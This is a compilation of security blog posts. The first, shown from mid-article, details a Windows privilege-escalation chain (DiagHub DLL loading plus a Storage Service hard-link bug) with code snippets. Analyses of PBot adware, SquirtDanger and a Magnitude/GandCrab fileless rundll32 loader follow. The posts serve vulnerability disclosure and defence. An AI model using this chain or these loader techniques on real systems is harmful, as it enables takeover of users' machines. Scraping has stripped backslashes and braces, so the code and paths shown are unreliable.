  1. You typically need to create a new instance of a privileged process as the majority of DLL imports are resolved when the process is first executed.
  2. Most system binaries, executables and DLLs that will run as a privileged user will be installed into SYSTEM32.
The second problem means that in steps 2 and 3 the loader will always look for DLLs in SYSTEM32. Assuming that overwriting a DLL isn’t likely to be an option (at the least if the DLL is already loaded you can’t write to the file), that makes it harder to find a suitable DLL to hijack. A typical way around these problems is to pick an executable that is not located in SYSTEM32 and which can be easily activated, such as by loading a COM server or running a scheduled task.
Even if you find a suitable target executable to DLL hijack the implementation can be quite ugly. Sometimes you need to implement stub exports for the original DLL, otherwise the loading of the DLL will fail. In other cases the best place to run code is during DllMain, which introduces other problems such as running code inside the loader lock. What would be nice is a privileged service that will just load an arbitrary DLL for us, no hijacking, no needing to spawn the “correct” privileged process. The question is, does such a service exist?
It turns out yes one does, and the service itself has been abused at least twice previously, once by Lokihardt for a sandbox escape, and once by me for user to system EoP. This service goes by the name “Microsoft (R) Diagnostics Hub Standard Collector Service,” but we’ll call it DiagHub for short.
The DiagHub service was introduced in Windows 10, although there’s a service that performs a similar task called IE ETW Collector in Windows 7 and 8.1. The purpose of the service is to collect diagnostic information using Event Tracing for Windows (ETW) on behalf of sandboxed applications, specifically Edge and Internet Explorer. One of its interesting features is that it can be configured to load an arbitrary DLL from the SYSTEM32 directory, which is the exact feature that Lokihardt and I exploited to gain elevated privileges. All the functionality for the service is exposed over a registered DCOM object, so in order to load our DLL we’ll need to work out how to call methods on that DCOM object. At this point you can skip to the end but if you want to understand how I would go about finding how the DCOM object is implemented, the next section might be of interest.

Reverse Engineering a DCOM Object

Let’s go through the steps I would take to try and find what interfaces an unknown DCOM object supports and find the implementation so we can reverse engineer them. There are two approaches I will typically take, go straight for RE in IDA Pro or similar, or do some on-system inspection first to narrow down the areas we have to investigate. Here we’ll go for the second approach as it’s more informative. I can’t say how Lokihardt found his issue; I’m going to opt for magic.
For this approach we’ll need some tools, specifically my OleViewDotNet v1.4+ (OVDN) tool from github as well as an installation of WinDBG from the SDK. The first step is to find the registration information for the DCOM object and discover what interfaces are accessible. We know that the DCOM object is hosted in a service so once you’ve loaded OVDN go to the menu Registry ⇒ Local Services and the tool will load a list of registered system services which expose COM objects. If you now find the  “Microsoft (R) Diagnostics Hub Standard Collector Service” service (applying a filter here is helpful) you should find the entry in the list. If you open the service tree node you’ll see a child, “Diagnostics Hub Standard Collector Service,” which is the hosted DCOM object. If you open that tree node the tool will create the object, then query for all remotely accessible COM interfaces to give you a list of interfaces the object supports. I’ve shown this in the screenshot below:
While we’re here it’s useful to inspect what security is required to access the DCOM object. If you right click the class treenode you can select View Access Permissions or View Launch Permissions and you’ll get a window that shows the permissions. In this case it shows that this DCOM object will be accessible from IE Protected Mode as well as Edge’s AppContainer sandbox, including LPAC.
Of the list of interfaces shown we only really care about the standard interfaces. Sometimes there are interesting interfaces in the factory but in this case there aren’t. Of these standard interfaces there are two we care about, the IStandardCollectorAuthorizationService and IStandardCollectorService. Just to cheat slightly I already know that it’s the IStandardCollectorService service we’re interested in, but as the following process is going to be the same for each of the interfaces it doesn’t matter which one we pick first. If you right click the interface treenode and select Properties you can see a bit of information about the registered interface.


There’s not much more information that will help us here, other than we can see there are 8 methods on this interface. As with a lot of COM registration information, this value might be missing or erroneous, but in this case we’ll assume it’s correct. To understand what the methods are we’ll need to track down the implementation of IStandardCollectorService inside the COM server. This knowledge will allow us to target our RE efforts to the correct binary and the correct methods. Doing this for an in-process COM object is relatively easy as we can query for an object’s VTable pointer directly by dereferencing a few pointers. However, for out-of-process it’s more involved. This is because the actual in-process object you’d call is really a proxy for the remote object, as shown in the following diagram:
All is not lost, however; we can still find the the VTable of the OOP object by extracting the information stored about the object in the server process. Start by right clicking the “Diagnostics Hub Standard Collector Service” object tree node and select Create Instance. This will create a new instance of the COM object as shown below:
The instance gives you basic information such as the CLSID for the object which we’ll need later (in this case {42CBFAA7-A4A7-47BB-B422-BD10E9D02700}) as well as the list of supported interfaces. Now we need to ensure we have a connection to the interface we’re interested in. For that select the IStandardCollectorService interface in the lower list, then in the Operations menu at the bottom select Marshal ⇒ View Properties. If successful you’ll now see the following new view:
There’s a lot of information in this view but the two pieces of most interest are the Process ID of the hosting service and the Interface Pointer Identifier (IPID). In this case the Process ID should be obvious as the service is running in its own process, but this isn’t always the case—sometimes when you create a COM object you’ve no idea which process is actually hosting the COM server so this information is invaluable. The IPID is the unique identifier in the hosting process for the server end of the DCOM object; we can use the Process ID and the IPID in combination to find this server and from that find out the location of the actual VTable implementing the COM methods. It’s worth noting that the maximum Process ID size from the IPID is 16 bits; however, modern versions of Windows can have much larger PIDs so there’s a chance that you’ll have to find the process manually or restart the service multiple times until you get a suitable PID.
Now we’ll use a feature of OVDN which allows us to reach into the memory of the server process and find the IPID information. You can access information about all processes through the main menu Object ⇒ Processes but as we know which process we’re interested in just click the View button next to the Process ID in the marshal view. You do need to be running OVDN as an administrator otherwise you’ll not be able to open the service process. If you’ve not done so already the tool will ask you to configure symbol support as OVDN needs public symbols to find the correct locations in the COM DLLs to parse. You’ll want to use the version of DBGHELP.DLL which comes with WinDBG as that supports remote symbol servers. Configure the symbols similar to the following dialog:
If everything is correctly configured and you’re an administrator you should now see more details about the IPID, as shown below:
The two most useful pieces of information here are the Interface pointer, which is the location of the heap allocated object (in case you want to inspect its state), and the VTable pointer for the interface. The VTable address gives us information for where exactly the COM server implementation is located. As we can see here the VTable is located in a different module (DiagnosticsHub.StandardCollector.Runtime) from the main executable (DiagnosticsHub.StandardCollector.Server). We can verify the VTable address is correct by attaching to the service process using WinDBG and dumping the symbols at the VTable address. We also know from before we’re expecting 8 methods so we can take that into account by using the command:
dqs DiagnosticsHub_StandardCollector_Runtime+0x36C78 L8
Note that WinDBG converts periods in a module name to underscores. If successful you’ll see the something similar to the following screenshot:
Extracting out that information we now get the name of the methods (shown below) as well as the address in the binary. We could set breakpoints and see what gets called during normal operation, or take this information and start the RE process.
The list of methods looks correct: they start with the 3 standard methods for a COM object, which in this case are implemented by the ATL library. Following those methods are five implemented by the StandardCollectorService class. Being public symbols, this doesn’t tell us what parameters we expect to pass to the COM server. Due to C++ names containing some type information, IDA Pro might be able to extract that information for you, however that won’t necessarily tell you the format of any structures which might be passed to the function. Fortunately due to how COM proxies are implemented using the Network Data Representation (NDR) interpreter to perform marshalling, it’s possible to reverse the NDR bytecode back into a format we can understand. In this case go back to the original service information, right click the IStandardCollectorService treenode and select View Proxy Definition. This will get OVDN to parse the NDR proxy information and display a new view as shown below.
Viewing the proxy definition will also parse out any other interfaces which that proxy library implements. This is likely to be useful for further RE work. The decompiled proxy definition is shown in a C# like pseudo code but it should be easy to convert into working C# or C++ as necessary. Notice that the proxy definition doesn’t contain the names of the methods but we’ve already extracted those out. So applying a bit of cleanup and the method names we get a definition which looks like the following:
struct IStandardCollectorService : IUnknown {
   HRESULT CreateSession(_In_ struct Struct_24* p0,
                         _In_ IStandardCollectorClientDelegate* p1,
                         _Out_ ICollectionSession** p2);
   HRESULT GetSession(_In_ GUID* p0, _Out_ ICollectionSession** p1);
   HRESULT DestroySession(_In_ GUID* p0);
   HRESULT DestroySessionAsync(_In_ GUID* p0);
   HRESULT AddLifetimeMonitorProcessIdForSession(_In_ GUID* p0, [In] int p1);
There’s one last piece missing; we don’t know the definition of the Struct_24 structure. It’s possible to extract this from the RE process but fortunately in this case we don’t have to. The NDR bytecode must know how to marshal this structure across so OVDN just extracts the structure definition out for us automatically: select the Structures tab and find Struct_24.
As you go through the RE process you can repeat this process as necessary until you understand how everything works. Now let’s get to actually exploiting the DiagHub service and demonstrating its use with a real world exploit.

Example Exploit

So after our efforts of reverse engineering, we’ll discover that in order to to load a DLL from SYSTEM32 we need to do the following steps:
  1. Create a new Diagnostics Session using IStandardCollectorService::CreateSession.
  2. Call the ICollectionSession::AddAgent method on the new session, passing the name of the DLL to load (without any path information).
The simplified loading code for ICollectionSession::AddAgent is as follows:
void EtwCollectionSession::AddAgent(LPWCSTR dll_path,
                                   REFGUID guid) {
 WCHAR valid_path[MAX_PATH];
 if ( !GetValidAgentPath(dll_path, valid_path)) {
 HMODULE mod = LoadLibraryExW(valid_path,
 dll_get_class_obj = GetProcAddress(hModule, “DllGetClassObject”);
 return dll_get_class_obj(guid);
We can see that it checks that the agent path is valid and returns a full path (this is where the previous EoP bugs existed, insufficient checks). This path is loading using LoadLibraryEx, then the DLL is queried for the exported method DllGetClassObject which is then called. Therefore to easily get code execution all we need is to implement that method and drop the file into SYSTEM32. The implemented DllGetClassObject will be called outside the loader lock so we can do anything we want. The following code (error handling removed) will be sufficient to load a DLL called dummy.dll.
IStandardCollectorService* service;
CoCreateInstance(CLSID_CollectorService, nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&service));

SessionConfiguration config = {};
config.version = 1;
config.monitor_pid = ::GetCurrentProcessId();
config.path = ::SysAllocString(L”C:Dummy”);
ICollectionSession* session;
service->CreateSession(&config, nullptr, &session);

GUID agent_guid;
session->AddAgent(L”dummy.dll”, agent_guid);
All we need now is the arbitrary file write so that we can drop a DLL into SYSTEM32, load it and elevate our privileges. For this I’ll demonstrate using a vulnerability I found in the SvcMoveFileInheritSecurity RPC method in the system Storage Service. This function caught my attention due to its use in an exploit for a vulnerability in ALPC discovered and presented by Clément Rouault & Thomas Imbert at PACSEC 2017. While this method was just a useful exploit primitive for the vulnerability I realized it has not one, but two actual vulnerabilities lurking in it (at least from a normal user privilege). The code prior to any fixes for SvcMoveFileInheritSecurity looked like the following:
void SvcMoveFileInheritSecurity(LPCWSTR lpExistingFileName,
                               LPCWSTR lpNewFileName,
                               DWORD dwFlags) {
 PACL pAcl;
 if (!RpcImpersonateClient()) {
   // Move file while impersonating.
   if (MoveFileEx(lpExistingFileName, lpNewFileName, dwFlags)) {
     // Copy inherited DACL while not.
     InitializeAcl(&pAcl, 8, ACL_REVISION);
     DWORD status = SetNamedSecurityInfo(lpNewFileName, SE_FILE_OBJECT,
         nullptr, nullptr, &pAcl, nullptr);
       if (status != ERROR_SUCCESS)
         MoveFileEx(lpNewFileName, lpExistingFileName, dwFlags);
   else {
     // Copy file instead…
The purpose of this method seems to be to move a file then apply any inherited ACE’s to the DACL from the new directory location. This would be necessary as when a file is moved on the same volume, the old filename is unlinked and the file is linked to the new location. However, the new file will maintain the security assigned from its original location. Inherited ACEs are only applied when a new file is created in a directory, or as in this case, the ACEs are explicitly applied by calling a function such as SetNamedSecurityInfo.
To ensure this method doesn’t allow anyone to move an arbitrary file while running as the service’s user, which in this case is Local System, the RPC caller is impersonated. The trouble starts immediately after the first call to MoveFileEx, the impersonation is reverted and SetNamedSecurityInfo is called. If that call fails then the code calls MoveFileEx again to try and revert the original move operation. This is the first vulnerability; it’s possible that the original filename location now points somewhere else, such as through the abuse of symbolic links. It’s pretty easy to cause SetNamedSecurityInfo to fail, just add a Deny ACL for Local System to the file’s ACE for WRITE_DAC and it’ll return an error which causes the revert and you get an arbitrary file creation. This was reported as issue 1427.
This is not in fact the vulnerability we’ll be exploiting, as that would be too easy. Instead we’ll exploit a second vulnerability in the same code: the fact that we can get the service to call SetNamedSecurityInfo on any file we like while running as Local System. This can be achieved either by abusing the impersonated device map to redirect the local drive letter (such as C:) when doing the initial MoveFileEx, which then results in lpNewFileName pointing to an arbitrary location, or more interestingly abusing hard links. This was reported as issue 1428. We can exploit this using hard links as follows:
  1. Create a hard link to a target file in SYSTEM32 that we want to overwrite. We can do this as you don’t need to have write privileges to a file to create a hard link to it, at least outside of a sandbox.
  2. Create a new directory location that has an inheritable ACE for a group such as Everyone or Authenticated Users to allow for modification of any new file. You don’t even typically need to do this explicitly; for example, any new directory created in the root of the C: drive has an inherited ACE for Authenticated Users. Then a request can be made to the RPC service to move the hardlinked file to the new directory location. The move succeeds under impersonation as long as we have FILE_DELETE_CHILD access to the original location and FILE_ADD_FILE in the new location, which we can arrange.
  3. The service will now call SetNamedSecurityInfo on the moved hardlink file. SetNamedSecurityInfo will pick up the inherited ACEs from the new directory location and apply them to the hardlinked file. The reason the ACEs are applied to the hardlinked file is from the perspective of SetNamedSecurityInfo the hardlinked file is in the new location, even though the original target file we linked to was in SYSTEM32.
By exploiting this we can modify the security of any file that Local System can access for WRITE_DAC access. Therefore we can modify a file in SYSTEM32, then use the DiagHub service to load it. There is a slight problem, however. The majority of files in SYSTEM32 are actually owned by the TrustedInstaller group and so cannot be modified, even by Local System. We need to find a file we can write to which isn’t owned by TrustedInstaller. Also we’d want to pick a file that won’t cause the OS install to become corrupt. We don’t care about the file’s extension as AddAgent only checks that the file exists and loads it with LoadLibraryEx. There are a number of ways we can find a suitable file, such as using the SysInternals AccessChk utility, but to be 100% certain that the Storage Service’s token can modify the file we’ll use my NtObjectManager PowerShell module (specifically its Get-AccessibleFile cmdlet, which accepts a process to do the access check from). While the module was designed for checking accessible files from a sandbox, it also works to check for files accessible by privileged services. If you run the following script as an administrator with the module installed the $files variable will contain a list of files that the Storage Service has WRITE_DAC access to.
Import-Module NtObjectManager

Start-Service Name “StorSvc”
Set-NtTokenPrivilege SeDebugPrivilege | Out-Null
$files = Use-NtObject($p = Get-NtProcess ServiceName “StorSvc”) {
   Get-AccessibleFile Win32Path C:Windowssystem32 Recurse `
    MaxDepth 1 FormatWin32Path AccessRights WriteDac CheckMode FilesOnly
Looking through the list of files I decided to pick on the file license.rtf, which contains a short license statement for Windows. The advantage of this file is it’s very likely to be not be critical to the operation of the system and so overwriting it shouldn’t cause the installation to become corrupted.
So putting it all together:
  1. Use the Storage Service vulnerability to change the security of the license.rtf file inside SYSTEM32.
  2. Copy a DLL, which implements DllGetClassObject over the license.rtf file.
  3. Use the DiagHub service to load our modified license file as a DLL, get code execution as Local System and do whatever we want.
If you’re interested in seeing a fully working example, I’ve uploaded a full exploit to the original issue on the tracker.

Wrapping Up

In this blog post I’ve described a useful exploit primitive for Windows 10, which you can even use from some sandboxed environments such as Edge LPAC. Finding these sorts of primitives makes exploitation much simpler and less error-prone. Also I’ve given you a taste of how you can go about finding your own bugs in similar DCOM implementations.

Go to Source
Author: Ben

PBot: a Python-based adware

Recently, we came across a Python-based sample dropped by an exploit kit. Although it arrives under the disguise of a MinerBlocker, it has nothing in common with miners. In fact, it seems to be PBot/PythonBot: a Python-based adware.

Apart from a couple of posts on forums in Russian language and brief threat notes, we couldn’t find any detailed publication.

Some of its features are pretty interesting, so we decided to take a closer look. The malware performs MITB (man-in-the-browser) attacks and injects various scripts into legitimate websites. Its capabilities may go beyond simple injections of ads, depending on the intentions of its distributors.

Analyzed samples

Distribution method

The described sample was dropped by the RIG exploit kit:

Behavioral analysis


The main executable, dropped by the exploit kit, is a downloader. The downloader is pretty simple and not obfuscated. We can see the scripts in the resources:

Its role is to fetch the second installer that has all the malicious Python scripts inside. The second component is named MinerBlocker.

The interesting thing is, if the downloaded component is run as a standalone, it behaves like a normal, legitimate installer, displaying a EULA and installation wizard. We can see the following information:

It pretends to be a legitimate application dedicated to blocking malicious miners. However, we could not find any website corresponding to the mentioned product, so at the moment we suspect that it is fully made up.

When the same component is run by the original downloader, the installation is fully stealthy instead. It drops the package in %APPDATA%.


The dropped application consists of multiple elements. We can see a full installation of Python prepared in order to run the dropped scripts. The bundle has also its own uninstaller (uninstall.exe) that, once deployed, fully removes the package.

In the directory js, as the name suggests, we can find a file with JavaScript, i.js:

In configs, there are two configuration files: rules.ini and settings.ini.

The configuration file rules.ini specifies the path to the JavaScript and suggests that it will be injected somewhere:

The file settings.ini contains various interesting parameters. It contains, among others:

1) The ports on which the service will be running, and the issuer of the used certificate:

2) A list of processes (browsers) that will possibly be attacked:

3) A set of whitelisted IPs and domains. The domains are in Base64 format and, after decoding them, we can see various Russian banking sites. The full list of the decoded sites is available here. As we later confirmed, those sites are exempted from the infection.

Persistence is achieved by Run keys in the registry:

They lead to one of the scripts called “” Once this script is run, it deploys another Python component: “” with the dropped .ini files:


If we look at the packaging, which contains an uninstaller, the application could look legitimate. However, its functionality is far form something that any user would desire to have on his/her computer. First of all, it injects scripts into each website you visit. The injected script comes from the path specified in the configuration, however, it further loads a second stage from the remote server (captured content of the second stage available here).

So, once it is injected, the attackers are in control of the contents displayed in our browser. They can inject ads, but also any other much more malicious content.

Example of a site with the script injected by the malware that impersonates a domain belonging to Google:

Compare it with the script that was in the directory js, i.js (formatted version available here):

Also, the malware forges certificates and performs the man-in-the-browser attack. The legitimate certificates on the sites with HTTPS are replaced by fake certificates issued by “The Filter” that is a malicious entity:

Looking at the sockets opened by a browser (i.e. by ProcessExplorer) and comparing them with the sockets opened by the Python instance, we find that they are paired together. It is an indicator that the browser communicates with the malware and works under its control.

Example: Internet Explorer connected to a socket 24681. We can see that this socket was opened by the Python process running the malware:


The loader (written in Python)

The first layer of the malware is the obfuscated Python scripts.

As mentioned before, at the beginning, the script is run. This script is obfuscated. Its role is to run the second Python layer that is

The script is supposed to decrypt a DLL stored in the file httpfilter.bin.

Then, it injects the DLL into the Python executable. It is interesting because PE injectors written in Python are not so common.

The injector (DLL)

The DLL injected in Python (e5ba5f821da68331b875671b4b946b56) is the main component of the malware. This component expects to be injected into Python executable:

It also fetches the passed parameters (settings.ini and rules.ini). So we can see that they were not meant to be parsed by the script to which they were previously passed.

The authors left some debug strings that makes the execution flow easy to follow. For example:

This DLL is responsible for parsing the configuration and setting up the malicious proxy.

It comes with two hardcoded DLLs: one 32-bit and one 64-bit (both stored in overlay of the PE file and not obfuscated). Those DLLs are the components that are further injected into browsers that are selected by the configuration. Their names are appropriately: injectee-x86.dll and injectee-x64.dll:

The injectee (DLL)

The execution of injectee DLL starts in the exported function, InjectorEntry:

The injectee is implanted in a browser and responsible for hooking its DLLs. Here’s the beginning of the hooking function:

The hooking function is pretty standard for this type of event. It retrieves the addresses of the specified exported functions, then it overwrites the beginning of each function redirecting it to the corresponding function within the malicious DLL.

The targets are functions responsible for parsing certificates (in Crypt32.dll), as well as functions responsible for sending and receiving data (in ws32_dll):

When we dump the hooks via PE-sieve, we can directly see how those functions have been redirected to the malware. Here is the list of tags gathered from the appropriate DLLs:

From Crypt32:


From ws32_dll:


In both cases, we can see that the addresses have been redirected to the injectee DLL that was loaded at the base 50000.

So, for example, the function WSASend gets intercepted and the execution is redirected to a function at RVA 0xd90 in the injectee dll:

The beginning of the intercepting function:

By this way, all the requests are redirected to the malware. It can work as a proxy, altering data on the way.

After the proxy function finishes, it jumps back to the original function, so the user doesn’t realize any change in the functionality.


This malware is pretty simple, does not contain much obfuscation and was probably not intended to be stealthy. Rather than hiding, it tries to look harmless and legitimate. However, the functionality that it delivers is powerful enough to cause serious harm. It may be configured to display harmless ads, but it could also be configured to display phishing pop-ups, such as it was implemented in Kronos. Also, the fact that it forges certificates of the sites should raise concerns.

The post PBot: a Python-based adware appeared first on Malwarebytes Labs.

Go to Source
Author: hasherezade

SquirtDanger: The Swiss Army Knife Malware from Veteran Malware Author TheBottle

Finding and investigating new malware families or campaigns is a lot like pulling a loose thread from an article of clothing. Once you start tugging gently on the thread, everything starts to unravel. In this particular case we began by investigating a new malware family, which we are calling SquirtDanger based on a DLL, SquirtDanger.dll, used in the attacks. There is strong evidence to indicate that this malware family was created by a prolific Russian malware author that goes by the handle of ‘TheBottle’. By pulling on a few strings we were eventually led to TheBottle’s unraveling. In this post we will delve into how we unraveled TheBottle’s activities and his newest malware family.

Malware Overview

SquirtDanger is a commodity botnet malware family that comes equipped with a number of characteristics and capabilities. The malware is written in C# (C Sharp) and has multiple layers of embedded code. Once run on the system, it will persist via a scheduled task that is set to run every minute. SquirtDanger uses raw TCP connections to a remote command and control (C2) server for network communications.

SquirtDanger comes with a wealth of functionality, including the following:

  • Take screenshots
  • Delete malware
  • Send file
  • Clear browser cookies
  • List processes
  • Kill process
  • List drives
  • Get directory information
  • Download file
  • Upload file
  • Delete file
  • Steal wallets
  • Steal browser passwords
  • Swap identified wallets in the victim’s clipboard
  • Execute file

The ability to swap out identified wallets with a predetermined wallet owned by the attacker is not a new one, as we have previously reported on it when analyzing the ComboJack malware family. For more information on how the SquirtDanger malware family operates, please refer to an in-depth analysis within the Appendix of this post.

Using various analytic techniques, Palo Alto Networks Unit 42 researchers were able to extract an embedded identifier from roughly 400 SquirtDanger samples, which we attribute to separate campaigns. Broadly, we identify two subsets of this malware which are divided by distinct mutexes and other indicators that we observed in WildFire. As we dug into this malware, we discovered a code repository which coincided with the capabilities and style of the samples we had observed. A screenshot of this repository’s base page is reproduced in figure 1 below:


Figure 1 Source code of SquirtDanger hosted on GitHub

Further analysis of the code in this repository indicated that our initial assessment was correct, and that this repository was the source code for SquirtDanger. While exploring the code, we discovered that TheBottle had posted this repository (and others) as a companion to a “confession” blog posted on

TheBottle Connection

TheBottle, a well-known Russian cybercriminal has been active on global underground marketplaces for years. Distributing, selling, and trading malware and source code has been TheBottle’s modus operandi on underground marketplaces and forums. It appears, however, that TheBottle has encountered several issues throughout his career as a malware author. According to Vitali Kremz of Flashpoint:

Previously, TheBottle was banned unanimously by the underground arbitrators for customer infractions. His underground infractions were very costly leading to multiple disputes accusing him of not delivering malware support that was needed for long-term criminal operations.

While investigating SquirtDanger, we came across a confessional blog post claiming to be TheBottle. In the post, the individual claimed responsibility for creating several malware families, including Odysseus Project, Evrial, Ovidiy Stealer, and several others. Again, Vitali of Flashpoint:

“In his latest confession on telegraph, the actor walks through their life in underground lamenting on his challenges of being a malware developer with real-life issues… His sense of guilt pushed him to release all of his malware creations that were used in many cybercrime operations in the past from “Ovidiy Stealer” to “Reborn Stealer.”

Below is a screenshot of TheBottle’s original post in his native Russian:


Figure 2 Screenshot of TheBottle’s blog post, confessing to authorship of malware families. TheBottle is ultimately expressing regret for creating many of the malware families.

Looking closer at TheBottle’s blog posting revealed a Telegram channel exposing a group of roughly 900 individuals most of whom appear to be Russian. Here the channel members are coordinating attacks, developing code, and trading/selling access to several different botnets and builders. Additionally, this Telegram group appears to be a common haunt of some interesting prolific actors,  some with high-profile ties; such as foxovsky, an underground actor who is famous in underground communities for developing malware. Readers may recall foxovsky as being the author of a previously reported malware family called Rarog. Additionally, the ‘1MSORRY‘ actor was identified as being a member of this community, who is behind the 1MSORRY cryptocurrency botnet and other malware families being distributed around the globe.


Figure 3 Screenshot of Telegram channel with prolific underground actors communicating

After some online sleuthing, we were able to find additional accounts across several social media sites TheBottle frequented. Across most of the social media sites we located, it was apparent TheBottle took his hacking persona seriously.


Figure 4 Screenshot of TheBottle’s Twitter feed

Also, looking closer into TheBottle’s Twitter conversations helped shed some light on how TheBottle feels about individuals using their malware.


Figure 5 Screenshot of TheBottle’s conversation with @malwarhunterteam

Infection Vector/Victimology

In total, we saw 1,277 unique SquirtDanger samples used across multiple campaigns. SquirtDanger is likely delivered via illicit software downloads also known as “Warez”.

As of the time of writing, we witnessed 119 unique C2 servers that were geographically dispersed:


Figure 9 Geographic distribution of identified C2 servers

Additionally, in the wild, we were able to identify 52 unique IP’s or domains acting as delivery infrastructure. This infrastructure acts as a dissemination point for this malware. Some of this delivery infrastructure appeared to be compromised legitimate websites unwittingly distributing SquirtDanger.

We have witnessed SquirtDanger being used against individuals across the globe, such as a Turkish university, an African telecommunications company, and a Singaporean Internet service provider.


The SquirtDanger malware family is just one of many commodity families being created today. It comes equipped with a wealth of features that allow attackers to quickly perform various actions on a compromised machine. While the malware itself proved to be interesting, it was the actor behind it that provided a much more interesting story.

As we pulled on TheBottle’s thread, we slowly started to realize that what we’ve found is just the tip of the proverbial iceberg. As we looked deeper into TheBottle’s malware and online activity, we noticed this was just minor activity taking place in a larger web of criminals working together. In fact, just recently, one of TheBottle’s allies was outed by the researcher known as Benkow.

Ultimately, as we unraveled a small portion of criminal activity, we were able to observe a malware author evolve into what seemed a somewhat remorseful individual, posting on a near personal level. Ultimately, will TheBottle change his ways? We will watch and see.

Using several sources of intelligence were key to the investigation of this actor and malware, and Palo Alto Networks customers are protected from this threat by:

  1. WildFire detects all SquirtDanger files with malicious verdicts
  2. AutoFocus customers can track these samples with the SquirtDanger tag
  3. Traps blocks all of the files associated with SquirtDanger


Malware Analysis

The SquirtDanger malware family comes equipped with a wealth of features by the author. The malware is coded using C#. The malware author chose to make use of the Costura add-in to embed the SquirtDanger payload into the compiled executable.

Once the main module is loaded and subsequently executed, it will begin by creating an installation directory, where the malware will copy itself. The following directories and their corresponding installation executables have been observed in the samples analyzed:

  • %TEMP%Microsoft_SQL_SDKsAzureService.exe
  • %TEMP%MonoCecilFazathron.exe

After SquirtDanger is copied to the necessary path, a new instance of this malware will be spawned prior to killing the current process.

Once the installation phase has completed and the malware is found to be executed from the correct location, a new mutex will be created to ensure only one instance of the malware is run at a given time. The following two mutexes have been observed across all analyzed samples:

  • Omagarable
  • AweasomeDendiBotnet

After the mutex has spawned, SquirtDanger will proceed to check for the existence of another executable, which will act as a persistence mechanism. This simple executable will simply check for the existence of the SquirtDanger payload, and if the payload cannot be found, a new copy is written to disk and a new instance will be spawned. This executable is embedded within the SquirtDanger payload, and has been observed dropped to the following location:

  • %TEMP%MSBuild.exe
  • %TEMP%OmagarableQuest.exe

This dropped file is given both SYSTEM and HIDDEN attributes to prevent victims from discovering it. A new scheduled task is created with a name of ‘CheckUpdate’ to run this file. This scheduled task checks every minute after it is initially setup.

SquirtDanger proceeds to communicate with the remote C2 server using raw TCP sockets. Data sent between the client and server is serialized, however, it is not obfuscated. When the malware initially communicates with the remote server, it will attempt to obtain a list of additional modules to install. An example of this communication may be seen below:


Figure 6 Example communication between malware client and C2 server

After the list of modules and their associated URLs are collected, SquirtDanger will download these modules via HTTP communication.

SquirtDanger comes with a wealth of functionality, including the following:

  • Take screenshots
  • Delete malware
  • Send file
  • Clear browser cookies
  • List processes
  • Kill process
  • List drives
  • Get directory information
  • Download file
  • Upload file
  • Delete file
  • Steal wallets
  • Steal browser passwords
  • Swap identified wallets in the victim’s clipboard
  • Execute file

In the case of stealing passwords from browsers, a number of browsers are supported, including the following:

  • Chrome
  • Firefox
  • Yandex Browser
  • Kometa
  • Amigo
  • Torch
  • Opera


Figure 7 Malware attempting to collect passwords from various popular browsers

SquirtDanger also has the ability to seek out wallets for various cryptocurrencies, including the following:

  • Litecoin
  • Bitcoin
  • Bytecoin
  • Dash
  • Electrum
  • Ethereum
  • Monero


Figure 8 Malware attempting to identify various cryptocurrency wallets on the victim machine

In addition to stealing wallets, the malware contains the ability to swap a victim’s clipboard data in the event a specific regular expression is encountered. The following regular expressions were present within the malware:

Type Regular Expression
QIWI (^+d{1,2})?(((d{3}))|(-?d{3}-)|(d{3}))((d{3}-d{4})|(d{3}-dd-dd)|(d{7})|(d{3}-d-d{3}))
BTC ^([13][a-km-zA-HJ-NP-Z1-9]{25,34})$
ETH ^(0x[0-9a-fA-F]{40})$
LTC ^(L[a-zA-Z0-9]{26,33})$
XRP ^(r[rpshnaf39wBUDNEGHJKLM4PQRST7VWXYZ2bcdeCg65jkm8oFqi1tuvAxyz]{27,35})$
DOGE ^(t[0-9a-zA-Z]{34})$
ZEC ^(D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32})$
XMR ^(4[0-9AB][1-9A-Za-z]{93,104})$

In the event one of these digital currency addresses are encountered, the malware is configured to swap the value with one that is pre-determined. A number of digital currency addresses were able to be retrieved from our sample set, which have been included in the Appendix of this blog post. This feature is not a new one, as we have previously reported on it when analyzing the ComboJack malware family.

SquirtDanger Samples

For a full list of SquirtDanger hashes, as well as their first seen timestamps, please refer to the following link.

C2 Servers

For a full list of C2 servers, as well as their first seen timestamps, please refer to the following link.

Distribution Servers

For a full list of distribution servers, as well as their first seen timestamps, please refer to the following link.

The post SquirtDanger: The Swiss Army Knife Malware from Veteran Malware Author TheBottle appeared first on Palo Alto Networks Blog.

Go to Source
Author: Josh Grunzweig

Magnitude exploit kit switches to GandCrab ransomware

The GandCrab ransomware is reaching far and wide via malspam, social engineering schemes, and exploit kit campaigns. On April 16, we discovered that Magnitude EK, which had been loyal to its own Magniber ransomware, was now being leveraged to push out GandCrab, too.

While Magnitude EK remains focused on targeting South Koreans, we were able to infect an English version of Windows by replaying a previously recorded infection capture. This is an interesting departure from Magniber, which was extremely thorough at avoiding other geolocations.

Magnitude is now also using a fileless technique to load the ransomware payload, making it somewhat harder to intercept and detect. The variations of this technique have been known for several years and used by other families such as by Poweliks, but they are a new addition to Magnitude.

Figure 1: Magnitude EK traffic capture with the GandCrab payload

Magnitude has always experimented with unconventional ways to load its malware, for example via binary padding, or more recently via another technique, but still exposing it “in the clear” from traffic or network packet capture.

Figure 2: Magnitude EK dropping Magniber on April 4, 2018

The payload is encoded (using VBScript.Encode/JScript.Encode) and embedded in a scriplet that is later decoded in memory and executed.

"C:WindowsSystem32rundll32.exe" javascript:"..mshtml,RunHTMLApplication ";

Figure 3: Innocuous scriptlet hides the payload

After the payload is injected into explorer.exe, it immediately attempts to reboot the machine. If we suspend that process and use @hasherezade‘s PE-Sieve, we can actually dump the GandCrab DLL from memory:

Figure 4: Extracting the payload from memory using PE-Sieve

Upon successful infection, files will be encrypted with the .CRAB extension while a ransom note is left with instructions on the next steps required to recover those files.

Figure 5: GandCrab’s ransom note

A recent law enforcement operation provided victims with a way to recover their files from previous GandCrab infections. However, the latest version cannot be decrypted at the moment.

Malwarebytes users are protected against this attack when either the Internet Explorer (CVE-2016-0189) or Flash Player (CVE-2018-4878) exploits are fired.

Time will tell if Magnitude sticks to GandCrab, but this is a noteworthy change for an exploit kit that solely used its own Magniber ransomware for about 7 months, after having replaced the trusted Cerber.

Indicators of compromise

Dumped GandCrab DLL


The post Magnitude exploit kit switches to GandCrab ransomware appeared first on Malwarebytes Labs.

Go to Source
Author: Jérôme Segura